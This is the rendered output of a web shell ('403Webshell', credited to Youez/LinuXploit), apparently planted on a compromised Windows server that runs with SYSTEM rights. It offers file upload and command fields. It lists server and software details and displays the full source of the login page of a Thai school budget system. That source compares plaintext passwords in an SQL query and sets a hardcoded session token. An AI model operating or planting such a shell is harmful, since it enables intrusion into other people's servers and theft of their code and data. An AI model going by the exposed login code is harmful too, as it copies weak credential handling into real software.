403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/school_budget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www//school_budget/login.php
<?php 
// 1. ประกาศ Session และเชื่อมต่อฐานข้อมูลก่อนการส่ง Output HTML ใดๆ ออกไป
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

// ตรวจสอบหาไฟล์ db.php ให้เจออย่างแม่นยำเพื่อใช้งาน $conn
if (file_exists(__DIR__ . '/db.php')) {
    include_once(__DIR__ . '/db.php');
} elseif (file_exists(__DIR__ . '/../db.php')) {
    include_once(__DIR__ . '/../db.php');
}

// ถ้ามีการ login อยู่แล้ว ให้ redirect ไปหน้าแดชบอร์ดตามสิทธิ์ทันที
if (isset($_SESSION['user_id'])) {
    if ($_SESSION['role'] == 'admin') {
        header("Location: admin/index.php");
    } else {
        header("Location: school/index.php");
    }
    exit();
}

$error = '';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = mysqli_real_escape_string($conn, $_POST['username']);
    $password = mysqli_real_escape_string($conn, $_POST['password']);

    // ดึงข้อมูลผู้ใช้พร้อมชื่อโรงเรียน (school_name) จากฐานข้อมูล
    $sql = "SELECT u.*, s.school_name 
            FROM users u
            LEFT JOIN schools s ON u.school_id = s.id
            WHERE u.username = '$username' AND u.password = '$password'";
    
    $result = mysqli_query($conn, $sql);

    if ($result && mysqli_num_rows($result) == 1) {
        $user = mysqli_fetch_assoc($result);
        
        // กำหนดค่าความปลอดภัยสูงสุดป้องกัน Session Fixation / Cross-Login
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['role'] = $user['role'];
        $_SESSION['sys_token'] = 'SCHOOL_BUDGET_SECURE_TOKEN'; // ล็อก Token ประจำระบบ

        if ($user['role'] == 'school') {
            $_SESSION['school_id'] = $user['school_id'];
            $_SESSION['school_name'] = $user['school_name']; 
        }

        if ($user['role'] == 'admin') {
            header("Location: admin/index.php");
        } else {
            header("Location: school/index.php");
        }
        exit();
    } else {
        $error = "ชื่อผู้ใช้หรือรหัสผ่านไม่ถูกต้อง!";
    }
}

// 2. เรียกใช้งานโครงสร้างส่วนหัว HTML/Navbar หลังจากประมวลผล PHP Header เสร็จสิ้นแล้ว
include 'template/header.php'; 
?>

<div class="row justify-content-center">
    <div class="col-md-5">
        <div class="card mt-5 shadow-sm border-0">
            <div class="card-header bg-primary text-white text-center py-3" style="border-radius: 12px 12px 0 0;">
                <h4 class="mb-0 fw-bold"><i class="bi bi-box-arrow-in-right"></i> เข้าสู่ระบบ</h4>
            </div>
            <div class="card-body p-4">
                <?php if ($error): ?>
                    <div class="alert alert-danger d-flex align-items-center" role="alert">
                        <i class="bi bi-exclamation-triangle-fill me-2"></i>
                        <div><?php echo $error; ?></div>
                    </div>
                <?php endif; ?>
                <form method="post" action="">
                    <div class="mb-3">
                        <label Land="th" for="username" class="form-label fw-bold text-secondary">ชื่อผู้ใช้ (Username)</label>
                        <div class="input-group">
                            <span class="input-group-text bg-white text-muted border-end-0"><i class="bi bi-person-fill"></i></span>
                            <input type="text" class="form-control border-start-0" id="username" name="username" placeholder="กรอกชื่อผู้ใช้งาน" required>
                        </div>
                    </div>
                    <div class="mb-4">
                        <label for="password" class="form-label fw-bold text-secondary">รหัสผ่าน (Password)</label>
                        <div class="input-group">
                            <span class="input-group-text bg-white text-muted border-end-0"><i class="bi bi-lock-fill"></i></span>
                            <input type="password" class="form-control border-start-0" id="password" name="password" placeholder="กรอกรหัสผ่าน" required>
                        </div>
                    </div>
                    <div class="d-grid">
                        <button type="submit" class="btn btn-primary btn-lg fw-bold rounded-pill shadow-sm"><i class="bi bi-box-arrow-in-right"></i> ยืนยันเข้าสู่ระบบ</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>

<?php include 'template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit